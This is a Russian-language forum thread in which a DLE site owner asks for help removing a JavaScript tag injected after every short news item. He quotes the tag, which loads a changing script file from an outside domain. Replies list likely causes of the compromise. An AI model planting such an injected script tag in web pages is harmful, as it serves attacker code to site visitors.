Вредоностный ява скрипт в короткой новости

[andre19877 0]

Добрый день у меня есть проблема на сайте. Начал появляться странный ява скрипт в конце короткой новости. Из-за этого сайт попал в подозрительные у яндекса. Подскажите где искать этот скрипт. Сам скрипт выглядет так "<script src="http://topkek.org/9488b8f6aaeb9625dffb897505e2d165.js" type="text/javascript"></script>", но эта часть 9488b8f6aaeb9625dffb897505e2d165.js все время меняется на каждой новости. Не могу его убрать так как не могу найти в коде. Скрипт на ходится вот тут <td align="left" valign="top" class="news">{short-story} ТУТ</td>, то есть после тега short-story. В short-story.tpl все нормально, стоит <td align="left" valign="top" class="news">{short-story}</td>. Помогите пожалуйста.

Изменено 31 января 2011 пользователем andre19877

[WWW.ZEOS.IN 1 161]

Если ваша тема начинается с вопроса и вам нужна какая либо помощь, то в самой теме в обязательном порядке вы должны указывать ссылку на ваш сайт. Если ваш сайт находится в локальной сети и вы не можете предоставить ссылку, или вы не хотите публиковать открытой ссылки на ваш сайт, то отправляйте персональное сообщение с вопросом в службу поддержки непосредственно с сайта http://dle-news.ru/, вам ответят на ваш вопрос в персональном порядке, в случае если пользуетесь платной версией скрипта и обладаете лицензией на скрипт. Если вы пользуетесь демоверсией, то вы вам необходимо разместить сайт в сети интернет, и только потом обращаться за помощью. По находящимся на локальных компьютерах демоверсиям никакой помощи и поддержки на форуме не оказывается. Если вы не указали сайт, то ваша тема будет закрыта, а аккаунт на форуме заблокирован.

[andre19877 0]

сайт funlol.ru

[ya.topik 0]

Это не только у тебя,у меня тоже такие же проблемы.

Значит дыра где то в движке,кто то закидывает через них нам эти проклятые порно баннеры просящие смс

[ower_xz 117]

Это не только у тебя,у меня тоже такие же проблемы.

Значит дыра где то в движке,кто то закидывает через них нам эти проклятые порно баннеры просящие смс

- Дыры phpmyadmin

- Не вовремя установленные патчи безопасности

- Зараженные компьютеры самих админов сайта

- Использование взломанных FTP клиентов, которые сами ваши пароли отсылают

Если когда в dle и находится лазейка, то ее всегда вовремя закрывают. Не нужно наговаривать...

[celsoft 6 076]

http://forum.dle-news.ru/index.php?showtopic=53264